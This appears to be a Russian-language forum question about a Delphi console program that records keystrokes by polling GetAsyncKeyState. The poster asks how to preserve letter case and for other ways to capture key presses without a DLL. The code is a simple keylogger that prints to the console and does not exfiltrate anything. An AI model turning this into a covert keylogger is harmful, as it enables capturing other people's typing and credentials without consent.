Есть программа консольная, так сказать записывает нажатия клавиш. Проблема в том что все символы не зависимо от того как были введены, заглавные или нет пишутся как заглавные (верхнего региста). Как отличить и сделать чтобы выводились так как они вводятся.
Код:
procedure LoggingKey;
var
X:integer;
begin
for X:=65 to 90 do
begin
if GetAsyncKeyState(X)=-32767 then
Write(Chr(X));
end;
end;
var
mesg:tmsg;
begin
SetTimer(0, 0, 1, @LoggingKey);
While GetMessage(Mesg,0,0,0) do
begin
TranslateMessage(Mesg);
DispatchMessage(Mesg);
end;
end.
P.S. Или если возможно предложить другие вариант, отловить нажатия. Отлавливаю лишь буквы англ. и цифры. Заморочки с раскладкой других языков не интересует. Главное чтобы регистр был правильный и без dll.